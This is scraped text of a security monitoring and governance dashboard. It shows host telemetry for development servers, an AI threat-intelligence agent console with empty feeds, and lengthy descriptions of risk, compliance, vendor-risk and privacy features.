v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
● ACTIVE
OSQuery
v8.12.0
● ACTIVE
✅ LOW — Monitoring host (Elastic Stack) is healthy. Elasticsearch GREEN (3 nodes, 47.2GB). Kibana running. Logstash queue at 84% — consider increasing buffer capacity.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
continuouselasticsearch elasticsearch-node LOW —
continuouskibana kibana-node LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
sysadmin 10.0.0.1 AU09:55key OK
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
kibana* 0.0.0.0 *5601HTTP varied LOW —
elasticsearchinternal 10.0.1.0/24 AU9200HTTP varied LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
No open CVEs ✓
↗
SRV-DEV-01
DEVELOPMENT · srv-dev-01.thirucorp.internal
10.0.6.1
Ubuntu 22.04.1 LTS
5.15.0-76-generic
CPU
38%
MEM
61%
Disk 100MB
Net 120MB
FBMBABPBOQ
CVE-2024-6387
1 open
6
11:14
MEDIUM
🐧 SRV-DEV-01 · 10.0.6.1 · Ubuntu 22.04.1 LTS · development MEDIUM
📊 Overview
📁 FIM (0)
⚙️ Processes (2)
🔑 SSH (1)
🌐 Network (2)
🛡 CVEs (1)
38%
CPU Usage
✓ normal
61%
Memory
✓ normal
100MB
Disk I/O
read+write / sec
120MB
Network I/O
✓ normal
1.8
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-DEV-01
FQDNsrv-dev-01.thirucorp.internal
IP Address10.0.6.1
OSUbuntu 22.04.1 LTS
Kernel5.15.0-76-generic
Environmentdevelopment
Events (24h)6
Open CVEs1
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
○ INACTIVE
Packetbeat
v8.12.0
○ INACTIVE
OSQuery
v8.12.0
○ INACTIVE
⚠️ MEDIUM — Dev host missing Auditbeat + Packetbeat coverage. CVE-2024-6387 (OpenSSH regreSSHion, CVSS 8.1) unpatched. Dev environment lateral movement risk.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
11:14developer docker build -t app:latest LOW —
10:30developer npm install LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
developer 10.0.0.20 AU09:00key OK
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
dockerdeveloper registry.docker.io US443HTTPS varied LOW —
nodedeveloper 0.0.0.0 *3000HTTP varied LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-6387 8.1 OpenSSH 9.x Remote code exec race in sshd signal handler PATCH AVAILABLE T1190
↗
SRV-DEV-02
DEVELOPMENT · srv-dev-02.thirucorp.internal
10.0.6.2
Ubuntu 22.04.1 LTS
5.15.0-76-generic
CPU
24%
MEM
48%
Disk 80MB
Net 100MB
FBMBABPBOQ
—
0 open
3
10:44
LOW
🐧 SRV-DEV-02 · 10.0.6.2 · Ubuntu 22.04.1 LTS · development LOW
📊 Overview
📁 FIM (0)
⚙️ Processes (1)
🔑 SSH (1)
🌐 Network (1)
🛡 CVEs (0)
24%
CPU Usage
✓ normal
48%
Memory
✓ normal
80MB
Disk I/O
read+write / sec
100MB
Network I/O
✓ normal
1.2
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-DEV-02
FQDNsrv-dev-02.thirucorp.internal
IP Address10.0.6.2
OSUbuntu 22.04.1 LTS
Kernel5.15.0-76-generic
Environmentdevelopment
Events (24h)3
Open CVEs0
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
○ INACTIVE
Packetbeat
v8.12.0
○ INACTIVE
OSQuery
v8.12.0
○ INACTIVE
✅ LOW — Dev host SRV-DEV-02 is healthy. Recommend adding Auditbeat for full audit coverage to match production hosts. No active threats.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
10:44developer python3 manage.py runserver LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
developer 10.0.0.21 AU08:55key OK
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3developer 0.0.0.0 *8000HTTP varied LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
No open CVEs ✓
AI Threat Intelligence — Deep Agent Deployment Console
Live AI agents · MySQL back-end · External IOC feeds · MITRE ATT&CK v14 · Real-time correlation · Shadow Sentry FDF Framework
AI Engine Live
DB: shadow_sentry
3 CRITICAL
--:--
MySQL DB
● Online
Alerts (Active)
7
Active IOCs
12
Endpoints
10 / 10
Last Agent Run
06:01:09
3
Critical
IOC Matches
7
High
Alerts
6
Threat Actors
Tracked
10
Open
CVEs
12
Active Intel
Feeds
97.4%
AI Correlation
Accuracy
4.2s
Avg Detection
Latency
38%
Auto-Remediated
Threats
🔴 IDLE
IOC Hunter
CISA KEV · AbuseIPDB
AlienVault OTX · Spamhaus
12 IOCs 8 High
🎯 IDLE
APT Tracker
MITRE ATT&CK · CISA Adv
ASD ACSC · NCSC · FS-ISAC
6 Actors 47 TTPs
⚠️ IDLE
Vuln Scout
NVD · EPSS · CISA KEV
Ubuntu USN · CVEDetails
4 Critical 8 KEV
🌐 IDLE
Dark Web Monitor
Breach intel · Shodan
Telegram · OSINT · Paste
2 Mentions 4 Creds
🧠 IDLE
Correlation AI (GNN)
Claude GNN · UEBA
Internal telemetry · MITRE
1 Chain 97.4% Acc
Deploy:
Ready — click an agent card or Run All
Agent Log 0 events
[ Shadow Sentry AI ] Ready — deploy agents to fetch live global threat intelligence
Live IOC Feed 12 active
TypeValueThreatActorSeverityConfSourceLast Seen
Deploy IOC Hunter to load live feed from MySQL + AI enrichment
CVE / Vulnerability Intelligence 10 tracked
CVE IDTitleCVSSEPSSKEVStatus
Deploy Vuln Scout to populate CVE intelligence from MySQL
⚡ Agent Efficiency LIVE
0%
Sweep
0IOCs
0Threats
0Tokens
0sTime
Per-Agent Metrics
🔴 IOC Hunter —
Speed
—
Yield
—
Conf
—
🎯 APT Tracker —
Speed
—
Actors
—
Conf
—
⚠️ Vuln Scout —
Speed
—
CVEs
—
EPSS
—
🌐 Dark Web —
Speed
—
Signals
—
Risk
—
🧠 Correlation AI —
Speed
—
Chains
—
Acc
—
Token Burn Rate
Run agents to plot
Run History
Auto · ioc_hunter · 06:00 · 12 IOCs · 1847 tok · ✓
Auto · apt_tracker · 06:00 · 4 actors · 2103 tok · ✓
Auto · vuln_scout · 06:00 · 10 CVEs · 1921 tok · ✓
Auto · dark_web · 06:00 · 2 hits · 2284 tok · ✓
Auto · corr_ai · 06:01 · 1 chain · 1640 tok · ✓
Shadow Sentry GRC — Governance, Risk & Compliance
Inspired by CISO Assistant Community · Risk · AppSec · Compliance · TPRM · Privacy · Metrics
Live
5 Frameworks
Risk: 68/100
47 Vendors
Overall Risk Score
68/100
MEDIUM · 4 critical open
Open Risks
23
↑ 3 new this month
Avg Compliance
76%
5 frameworks tracked
Critical AppSec
7
OWASP Top 10 mapped
High-Risk Vendors
3
of 47 assessed
Overdue Actions
9
Past SLA
Maturity Score
3.1/5
Defined → Managed
Cyber Risk (ALE)
$2.4M
Annual Loss Exposure
Shadow Sentry GRC Capability Map — hover each area for feature details · click to navigate
⚠️
Core GRC & Risk
68/100
  • Centralised asset · risk · control · threat repository
  • 100+ frameworks: ISO 27001, NIST, SOC2, PCI DSS, NIS2, DORA…
  • EBIOS RM + qualitative/quantitative risk workflows
  • Multi-framework control mapping & reuse
  • BIA + Cyber Risk Quantification (CRQ)
More details ›
✅
Audit, Compliance & Privacy
76%
  • Multi-framework audit management + evidence reuse
  • Automatic compliance scoring from control progress
  • Privacy / GDPR module: processing activities → controls
  • Incident tracking linked to risks & remediation
  • Australian Privacy Principles (APP 1–13) & OAIC
More details ›
🔐
AppSec & Security Program
72/100
  • Application-level risk & control models (ASVS 4.0)
  • SDLC / DevSecOps workflow integration
  • Reusable security control & threat library
  • OWASP Top 10 & MASVS coverage scoring
  • Maturity assessments per project / business unit
More details ›
🤝
Third-Party Risk (TPRM)
74%
  • Vendor risk assessments via built-in audit framework
  • Provider compliance captured inside the platform
  • Self-assessment questionnaire workflow
  • Centralised TP posture mapped to internal controls
  • Ongoing oversight, contract tracking & SLA monitoring
More details ›
📈
Metrics, Analytics & Reporting
Board-ready
  • Dashboards: risk, compliance, maturity, remediation
  • NIST OLIR crosswalks between standards
  • CRQ scores & maturity benchmarks per division
  • KPI / KRI reporting for board & management
  • Framework comparison & gap heat maps
More details ›
⚙️
Collaboration, Automation & Ops
API-first
  • Multi-tenancy with folder-based dept/project segregation
  • Workflows, sanity checks & AI scoring assistant
  • Jira & ticketing integration + ETA tracking
  • REST API for automation & ecosystem integration
  • Cloud, on-prem & open-source community edition
More details ›
Risk Heat Map 5×5 · click cells ?
IMPACT ↑
RareUnlikelyPossibleLikelyAlmost Certain
LowMedium HighCritical ◆ = scenario
Compliance Radar 5 frameworks ?
ISO 27001 (88%) Essential 8 (68%) NIST CSF (71%) APRA CPS234 (79%) PSPF (73%)
Risk by Domain ?
Top Overdue Actions Requires attention
Framework Coverage Comparison ? NIST OLIR crosswalk
?
Current Risk Before controls?
Residual Risk After treatment?
Business Impact Analysis (BIA) ?Cyber Risk Quantification enabled
Risk Scenario Register 15 scenarios ?
RefScenarioAssetThreatDomainLICurrentResidualTreatmentALE ($)OwnerStatus
?
47Evidence Items
23Reused Across Frameworks
12Controls Mapped Multi-FW
3Audit Cycles Active
?
Applications
14
8 web · 4 API · 2 mobile
Critical Vulns
7
CVSS ≥ 9.0
OWASP Top 10
9/10
categories affected
Avg Remediation
18d
target: 14d critical
SDLC Maturity
2.4/5
ASVS 4.0 mapped
OWASP Top 10 Coverage ?
Application Inventory click row for details ?
SDLC Security Maturity (SAMM-style) ?
Vulnerability Register ?
IDAppVulnerabilityOWASPCVSSSeverityStatusSLAAssignee
Total Vendors
47
12 critical tier
Assessments Due
6
Next 30 days
High Risk
3
Remediation required
Avg Score
74%
↑ 3% vs Q1
Contracts Expiring
4
Next 90 days
Vendor Risk Distribution ?
Critical (3) High (9) Medium (18) Low (17)
Assessment Pipeline ?
Vendor Register click row · mapped to internal controls ?
VendorCategoryTierData SharedLast AssessmentScoreRiskNext ReviewStatus
Processing Activities
38
GDPR Art.30 register
Open PIAs
4
Privacy Impact Assessments
Consent Records
12.4k
Privacy Act 1988
NDB Incidents
1
Reported to OAIC
Data Classification Register ?
Data TypeClassLocationsRetentionLegal BasisStatus
Privacy Impact Assessments ?
Australian Privacy Principles (APP 1–13) ?
Maturity Score
3.1/5
Defined → Managed
Annual Loss Exposure
$2.4M
CRQ Monte Carlo est.
Control Effectiveness
74%
Avg across all controls
Remediation Velocity
68%
YTD target: 80%
Maturity Scores by Domain ?
Cyber Risk Quantification (CRQ) ?ALE model
NIST OLIR Framework Crosswalk ?
Board-Level KRI / KPI Summary Management reporting view?
?
Total Actions
62
All domains
Overdue
9
Past SLA date
In Progress
27
Active remediation
Completed (30d)
14
↑ 40% vs prior month
Completion Rate
68%
YTD target: 80%
Remediation Plan Jira integration ready · ETA tracking
RefActionSourcePriorityOwnerDueProgressStatus
Core GRC & Risk Management
Centralised repository linking assets, threats, controls and risks in a single traceable data model — eliminating siloed spreadsheets.

100+ framework content built-in: ISO 27001, NIST CSF, SOC 2, CIS Controls, PCI DSS, NIS2, DORA, GDPR, HIPAA, CMMC, PSPF, APRA CPS 234, and more — no manual entry required.

Methodology-agnostic: supports EBIOS RM, qualitative likelihood × impact matrices, and quantitative Monte Carlo / FAIR models side by side.

Multi-framework control mapping: decouple a control from any audit, map one control to many requirements, and reuse prior work across frameworks automatically.

BIA + CRQ: Business Impact Analysis links assets to business processes; Cyber Risk Quantification converts risk ratings into dollar Annual Loss Estimates (ALE).
Audit, Compliance & Privacy
Multi-framework audit management: run audits against ISO 27001, Essential 8, NIST and custom frameworks simultaneously. Evidence is centralised and reused across audit cycles — no re-uploading the same document.

Automatic compliance scoring: scores update in real-time as controls are marked evidenced or remediated — no manual calculation.

Privacy / GDPR module: catalogue all processing activities (Art. 30 register), link them directly to controls and action plans. Tracks consent, legal basis, data residency and breach obligations in one place.

Incident tracking: incidents are linked to related risks, controls and remediation actions — closing the loop between detection (SOC) and governance (GRC).
AppSec & Security Program
Application-level risk models: apply generic risk and control models to individual applications, covering OWASP ASVS 4.0 and MASVS for mobile.

SDLC & DevSecOps: maturity assessments across design, build, test and deploy phases of the software development lifecycle — track where security is embedded vs. bolted on.

Reusable control library: define a security control once (e.g. "input validation") and apply it to many applications and projects without duplication.

Maturity scoring: score projects, applications or business units on a 1–5 scale using OWASP SAMM-style dimensions. Benchmark against peers and track improvement over time.
Third-Party Risk Management (TPRM)
Built on audit capabilities: vendor assessments use the same framework engine as internal compliance audits — consistent methodology, no separate tool needed.

Questionnaire workflow: tailor a questionnaire per vendor tier, send for self-assessment, then review and score internally. All captured inside the platform.

Centralised posture view: see all third-party compliance scores mapped to your internal control framework — instantly spot gaps that cascade from vendor to your own posture.

Ongoing oversight: track contract expiry, assessment cadence, data-sharing scope and SLA compliance in one dashboard. Trigger re-assessments automatically.
Metrics, Analytics & Reporting
Built-in dashboards: live views of risk exposure, compliance coverage by framework, maturity scores and remediation velocity — no BI tool required.

NIST OLIR crosswalk: automatic mappings between standards (ISO → NIST → CIS → GDPR) using the OLIR registry — a single control assessment populates multiple framework reports.

CRQ & maturity benchmarks: convert qualitative risk ratings to ALE dollar figures; compare maturity scores across projects, divisions, or time periods.

Board-ready reporting: one-click management view with consolidated KPIs (risk score, compliance %, overdue actions) and KRIs (top risks, breach likelihood) formatted for non-technical audiences.
Collaboration, Automation & Deployment
Multi-tenancy: folder-based segregation per department, project or entity — each team sees only their scope. CISO gets an aggregated view across all folders.

Workflows & automation: scoring assistant validates control responses, automatic sanity checks flag inconsistencies, and notification workflows alert owners of approaching deadlines.

Jira & ticketing integration: action plan items can be pushed to Jira tickets (or any REST-capable system) and status synced back — ETA dates stay accurate automatically.

API-first (REST): every object and workflow is accessible via the API — ingest data from vulnerability scanners, push to SIEM, or build custom dashboards using your BI tool.

Deployment options: cloud SaaS, self-hosted Docker/K8s, and the AGPLv3 open-source community edition via GitHub.
5×5 Risk Heat Map
Each cell shows the count of risk scenarios at that Likelihood × Impact coordinate.
Click any cell to see the specific scenarios placed there.

Colour bands follow the standard 5-zone risk appetite matrix (Low → Critical). Scenarios show current risk (before controls) and residual risk (after treatment) on separate matrices in the Risk Register tab.
Compliance Radar
Overlays up to 5 frameworks simultaneously to show relative posture across governance domains. Each spoke represents a control domain; the polygon area shows how far from full compliance each framework sits. Use this to spot which domain is dragging down multiple frameworks at once.
Risk by Domain
Stacked bar chart showing the count of open risk scenarios per domain, colour-coded by severity (Critical / High / Medium / Low). Domains with the tallest Critical bars need immediate attention. Click the Risk Register tab and filter by domain to drill in.
NIST OLIR Crosswalk
NIST OLIR (Online Informative Reference) defines the canonical mappings between cybersecurity standards. Shadow Sentry GRC uses these mappings to automatically populate multiple framework compliance scores from a single control assessment — eliminating the need to answer the same question 5 times across different audits.
Risk Assessment Methodology
Qualitative (EBIOS-style): scenarios rated on a 1–5 Likelihood × Impact matrix. Suitable for most organisations; produces risk level labels (Low/Medium/High/Critical).

Quantitative (CRQ/ALE): Annual Loss Estimate = Likelihood per year × single-loss expectancy in dollars. Requires asset valuation and threat frequency data. Produces dollar figures for board reporting and insurance conversations.
Current Risk Matrix
Shows inherent risk before any controls or treatments are applied. Each number is the count of risk scenarios at that Likelihood × Impact coordinate. The goal is to see most scenarios migrate to lower-left after treatment (residual view).
Residual Risk Matrix
Shows expected risk after all planned controls are implemented. Compare this against the Current Risk matrix to validate that treatments are moving scenarios to acceptable zones. Scenarios remaining in Critical/High after treatment need escalation or acceptance decisions.
Business Impact Analysis (BIA)
BIA links technical assets to business processes and quantifies the financial impact of unavailability or compromise. Key outputs: RTO (Recovery Time Objective), RPO (Recovery Point Objective), and Single Loss Expectancy (SLE) — the basis for the CRQ / ALE calculation. Used to prioritise which assets get the most robust controls.
Risk Scenario Register
Click any row to open a full drill-down with asset linkage, threat details, treatment rationale, related SOC alerts, and recommended controls.

Use the ALE column to sort by financial impact when in Quantitative mode. The treatment column shows the chosen response strategy: MITIGATE (add controls), ACCEPT (document), TRANSFER (insure/outsource), or REMEDIATE (fix root cause).
Multi-Framework Support
Shadow Sentry GRC ships with 100+ framework content libraries built-in. Shown here: ISO 27001:2022, Essential Eight ML2, NIST CSF 2.0, APRA CPS 234, and PSPF — all relevant to Australian government and financial services clients.

The decoupling model means a single "Access Control" control implementation can satisfy requirements across all 5 frameworks simultaneously — one assessment, many compliance credits.
Evidence Centralisation & Reuse
Evidence uploaded for one framework (e.g. a network segmentation policy for ISO 27001) is automatically tagged and available to satisfy equivalent controls in other frameworks (NIST CSF, Essential 8). The "Reused Across Frameworks" counter shows how much work has been saved vs. running siloed audits. Evidence is version-tracked with original upload date and auditor sign-off.
OWASP Top 10 Coverage
Each OWASP category is assessed across all 14 applications. Status: PASS (controls in place, tested), WARN (partial coverage, 1+ apps affected), FAIL (no effective control, multiple apps affected). Mapped to OWASP ASVS 4.0 for detailed control requirements and MASVS for mobile-specific categories.
Application Inventory
Each application is scored on a 0–100 security posture scale derived from ASVS assessment results. The C/H/M/L badges show open vulnerability counts by severity. Click an application row to see full ASVS domain scores, assigned controls, and linked risk scenarios.
SDLC Security Maturity
Modelled on OWASP SAMM (Software Assurance Maturity Model). Five domains assessed across the software lifecycle: Governance, Design, Implementation, Verification, Operations. Each rated 0–3 (0=absent, 1=initial, 2=structured, 3=optimised). Target 2.0+ for all domains in production applications.
Vulnerability Register
CVSS-scored findings from DAST, SAST, and penetration testing. Each finding is assigned: application scope, OWASP category, SLA target (Critical 7d, High 14d, Medium 30d), and an assignee from the development team. Overdue items are flagged red and escalated to the Action Plan automatically.
Vendor Risk Distribution
Vendors tiered by criticality based on: data access type (PII, financial, source code), dependency level (single point of failure vs. replaceable), and assessment score. Critical tier vendors require quarterly assessment; Low tier vendors are assessed annually. Tier changes are tracked and notify the CISO.
Assessment Pipeline
Shows the current state of in-flight vendor assessments. Stages: Initial Questionnaire → Self-Assessment → Under Review → Remediation Required → Approved. The pipeline supports collaborative workflows: the main entity tailors the questionnaire, the vendor self-assesses, and the internal team reviews and scores. All correspondence is captured inside the platform.
Vendor Register
Click any vendor row to view full assessment detail, linked controls, data flow diagrams, contract metadata and review history. The Score column reflects the latest completed assessment against the selected framework. Vendor posture is automatically mapped to internal ISO 27001 / Essential 8 controls — gaps in vendor scores surface as gaps in your own compliance posture.
Data Classification Register (Art. 30)
Implements the GDPR Article 30 "Records of Processing Activities" requirement adapted for Australian Privacy Act 1988. Each entry records: data type, sensitivity classification, all storage locations, retention period, legal basis for processing, and current compliance status. Linked to controls and breach notification obligations.
Privacy Impact Assessments (PIAs)
PIAs are required for any new system or process handling personal information that poses elevated privacy risk. The platform manages the full PIA lifecycle: Initiation → Risk Assessment → Control Identification → OAIC Consultation (if required) → Approval → Review. PIAs are linked to the relevant processing activities and control action plans.
Australian Privacy Principles (APPs)
The 13 APPs under the Privacy Act 1988 (Cth) form the framework for handling personal information in Australia. Shadow Sentry GRC scores compliance against each principle based on: documented policies, technical controls, staff training records, and audit evidence. Scores below 70% trigger automatic action plan items and OAIC notification risk flags.
Domain Maturity Scores
Maturity rated 1–5 per security domain: 1-Initial (ad hoc, undocumented), 2-Developing (some processes), 3-Defined (documented, consistent), 4-Managed (measured, monitored), 5-Optimised (continuous improvement). Scoring combines control coverage, evidence quality, test frequency, and staff capability indicators.
Cyber Risk Quantification (CRQ)
Annual Loss Estimate (ALE) = ARO (Annual Rate of Occurrence) × SLE (Single Loss Expectancy). SLE is derived from BIA asset valuations and breach cost models (regulatory fines, incident response, reputational damage, operational downtime).

Shadow Sentry GRC uses a simplified Monte Carlo approach to generate 10th/50th/90th percentile loss distributions. Used for cyber insurance sizing and board-level risk appetite conversations.
NIST OLIR Crosswalk
NIST Online Informative References (OLIR) is a standardised catalogue of relationships between cybersecurity and privacy documents. Shadow Sentry GRC implements OLIR to automatically map a control assessed in one framework to equivalent controls in other frameworks — a single ISO 27001 A.9.4 (Access Control) assessment credits the equivalent PCI DSS 8.x, NIST CSF PR.AC, and Essential 8 ML2-7 requirements simultaneously.
Board-Level KRI / KPI Summary
KPIs (Key Performance Indicators): measure programme execution — remediation rate, audit completion, training coverage, control implementation velocity.

KRIs (Key Risk Indicators): measure threat exposure — open critical risks, failed MFA logins, unpatched critical CVEs, overdue vendor assessments.

Board view strips out technical detail, consolidates to RAG status (Red/Amber/Green), and includes trend arrows to show direction of travel.
Jira Integration & Automation
Action plan items can be synchronised with Jira (or any REST-capable ticketing system). Shadow Sentry GRC pushes new actions as Jira issues, syncs status updates back automatically, and maps Jira resolution dates to GRC ETA fields.

The REST API also supports: ingesting vulnerability scanner output (Tenable, Qualys), pushing risk data to SIEM, and triggering automated evidence collection workflows via CI/CD pipelines.
🛡
Shadow Sentry GRC — CISO Assistant Capability Reference
Inspired by the intuitem CISO Assistant open-source platform · Hover any feature bullet for detailed explanation · Click area headers to navigate
Community Edition · AGPLv3
Capability Area Summary Based on CISO Assistant v2 feature set
AreaKey CapabilitiesShadow Sentry Coverage
GRC & Risk Multi-framework content, risk assessments, BIA, CRQ, reusable controls/threats
88%
Compliance & Audit Multi-framework audit, evidence reuse, auto-scoring, privacy/GDPR, incident linkage
76%
AppSec App-level risk/control modeling, maturity scoring, reuse of security patterns
72%
TPRM Vendor audits, third-party compliance capture, centralised TP posture view
74%
Metrics Dashboards, compliance and risk scores, maturity metrics, OLIR-based mappings
82%
Ops & Dev Workflows, collaboration, Jira integration, API-first, multi-tenant, cloud/on-prem
69%
⚠️
Core GRC & Risk
Asset · Risk · Control · Threat repository
Open Register →
  • Centralised repository for assets, risks, controls, and threats with a shared, traceable data model ?
  • Support for 100+ frameworks with built-in content — ISO 27001, NIST CSF, SOC 2, CIS, PCI DSS, NIS2, DORA, GDPR, HIPAA, CMMC, PSPF, APRA CPS 234, and more ?
  • Methodology-agnostic risk assessment workflows — supports EBIOS RM and generic qualitative/quantitative models ?
  • Multi-framework mapping — decouple controls from audits, map one control to many requirements, reuse work across frameworks ?
  • Business Impact Analysis (BIA) and cyber risk quantification modules for translating cyber risk into financial impact and scores ?
✅
Audit, Compliance & Privacy
Multi-framework · Evidence reuse · GDPR/Privacy Act
Open Compliance →
  • Audit management across multiple frameworks with evidence centralisation and reuse from previous audits ?
  • Automatic compliance scoring based on control progress and audit results — no manual calculation ?
  • Privacy / GDPR module to catalogue processing activities, link them to controls and action plans in one place ?
  • Incident tracking and linkage to risks, controls, and remediation plans — closing the SOC-to-GRC loop ?
🔐
AppSec & Security Program
SDLC · DevSecOps · Maturity scoring
Open AppSec →
  • AppSec coverage via generic risk and control models that can be applied to applications, SDLC and DevSecOps workflows ?
  • Central repository of reusable security controls and threats for projects, including application-level use ?
  • Maturity assessments and scoring for projects, applications, or business units — OWASP SAMM-aligned ?
🤝
Third-Party Risk (TPRM)
Vendor audits · Provider compliance · Posture view
Open TPRM →
  • Third-Party Risk Management module built on audit capabilities to capture provider compliance inside the platform ?
  • Vendor risk assessments, internal risk assessments, and ongoing oversight workflows — all in one place ?
  • Centralised view of third-party posture, mapped to frameworks and internal controls ?
📈
Metrics, Analytics & Reporting
Dashboards · OLIR · CRQ · Board views
Open Metrics →
  • Built-in analytics and dashboards for risk, compliance coverage, maturity, and remediation status ?
  • Automatic mapping and crosswalks between standards using NIST OLIR to simplify reporting across frameworks ?
  • Cyber risk quantification scores and maturity scores to benchmark posture across projects and divisions ?
  • Board-ready and management-level reporting views leveraging consolidated KPIs/KRIs ?
⚙️
Collaboration, Automation & Deployment
Multi-tenant · API-first · Jira · Open-source
Open Action Plan →
  • Multi-tenancy with folder-based segregation per department/project and aggregated CISO-level view ?
  • Collaboration features, workflows, automatic sanity checks, and a scoring assistant to reduce manual work ?
  • Remediation follow-up with integration to ticketing (e.g. Jira) and ETA tracking ?
  • API-first (REST) design for automation, data extraction, and integration into existing ecosystems ?
  • Cloud and on-premises deployment options, plus an open-source community edition (AGPLv3 on GitHub) ?
Centralised GRC Repository
A single data model links assets (servers, applications, business processes) → threats (from MITRE ATT&CK or custom) → risks (scenario-based) → controls (ISO, NIST, custom). Every object is traceable: you can navigate from a board-level risk all the way down to the specific control implementation and the evidence file that supports it.

This eliminates the fragmentation of Excel risk registers, separate audit trackers, and standalone TPRM spreadsheets — everything is in one auditable system.
100+ Built-in Framework Content Libraries
Shadow Sentry GRC ships with pre-loaded control content for frameworks including:

International: ISO 27001:2022, ISO 27005, ISO 31000, NIST CSF 2.0, NIST SP 800-53 Rev5, NIST SP 800-171, SOC 2 Type II, CIS Controls v8, PCI DSS v4.0

European / Global: NIS2 Directive, DORA, GDPR, ENISA, TISAX

US Sector: HIPAA, CMMC 2.0, FedRAMP, FISMA

Australian: PSPF, ISM, Essential Eight ML2, APRA CPS 234, Privacy Act 1988

No manual entry — content is pre-populated with control IDs, names, and guidance text.
Methodology-Agnostic Risk Assessment
EBIOS Risk Manager (RM): French ANSSI standard. Defines feared events, threat sources, attack paths, and operational scenarios. Full lifecycle from ecosystem mapping to risk treatment.

Qualitative (ISO 27005-style): Likelihood × Impact matrix (3×3, 4×4, 5×5). Produces risk level labels. Most common approach for SME and mid-market organisations.

Quantitative (FAIR/ALE): Annual Rate of Occurrence × Single Loss Expectancy. Produces dollar figures for insurance, board conversations, and budget justification.

Both models can be run simultaneously and their outputs compared in the CRQ dashboard.
Multi-Framework Control Mapping
The decoupling model is CISO Assistant's core differentiator. A control is defined once (e.g. "Multi-Factor Authentication implemented for all privileged access") and then mapped to requirements in multiple frameworks simultaneously.

A single MFA implementation can satisfy:
• ISO 27001 A.9.4.2 (Secure log-on procedures)
• Essential Eight ML2-7 (MFA)
• NIST CSF PR.AC-7
• APRA CPS 234.17
• PCI DSS Requirement 8.4

Evidence is uploaded once and reused across all mapped requirements. The platform tracks which evidence satisfies which requirement in which audit cycle — automatically.
Business Impact Analysis (BIA) & CRQ
BIA: Maps technical assets to business processes and quantifies the cost of unavailability. Outputs: RTO (Recovery Time Objective), RPO (Recovery Point Objective), Maximum Tolerable Downtime, and asset criticality tiers.

CRQ (Cyber Risk Quantification): Converts qualitative risk ratings into financial figures using the ALE model:
ALE = ARO × SLE
where ARO = Annual Rate of Occurrence and SLE = Single Loss Expectancy (derived from BIA).

A Monte Carlo simulation generates 10th / 50th / 90th percentile loss distributions — used for cyber insurance sizing and board risk appetite statements.
Multi-Framework Audit Management
Run concurrent audit cycles against multiple frameworks from a single interface. The platform manages the full audit lifecycle:

1. Planning: Define audit scope, assign auditors, set timeline
2. Evidence Collection: Upload/link evidence to specific controls
3. Assessment: Rate control implementation (Compliant / Partial / Non-Compliant)
4. Review & Sign-off: Auditor review workflow with comments
5. Report Generation: Auto-generated audit report with findings
6. Remediation Tracking: Gap → Action Plan → Closed loop

Evidence from a 2024 ISO 27001 audit is automatically available for the 2025 APRA audit — no re-uploading.
Automatic Compliance Scoring
The compliance score updates in real-time as controls are assessed. Scoring logic:

• Compliant control: Full weight credited
• Partial control: Proportional credit based on assessment score (e.g. 60% implemented = 60% of control weight)
• Non-compliant / Not assessed: 0 credit
• Not Applicable: Excluded from denominator

The platform calculates domain-level and overall scores, tracks score trends over time, and generates benchmark comparisons against peer organisations (where data is available in the community edition).
Privacy / GDPR Module
Implements GDPR Article 30 Records of Processing Activities (RoPA) adapted for Australian Privacy Act 1988 and APP compliance:

Processing Activity Catalogue: Record each processing activity with data type, purpose, legal basis, data subjects, data locations, retention period, and cross-border transfer details.

Linked Controls: Each processing activity links directly to the security controls that protect it — a breach in a control surfaces immediately as a privacy risk.

Consent Management: Track consent records, withdrawal requests, and data subject access requests (DSARs).

Breach Response: OAIC notification timelines (72h for eligible breaches) and NDB scheme compliance tracking.
Incident Tracking & GRC Linkage
Incidents detected by the SOC are linked into the GRC module to close the governance loop:

Risk linkage: An incident is mapped to the risk scenario it realised (e.g. a phishing incident → RS-006 Credential Theft scenario).

Control gap identification: The failed or missing control is flagged and automatically added to the compliance gap register.

Remediation plan: An action plan item is created in the GRC with owner, SLA, and Jira ticket reference.

Post-incident review: Findings update the risk register likelihood/impact scores — inherent risk is re-evaluated after each significant incident.
AppSec Risk & Control Models
The generic risk/control data model is applied at application granularity:

Application as an asset: Each application is registered as an asset with owner, criticality, data classification, and tech stack.

OWASP ASVS 4.0: Application Security Verification Standard mapped as a control framework — 286 requirements across 14 domains (Authentication, Session, Cryptography, etc.).

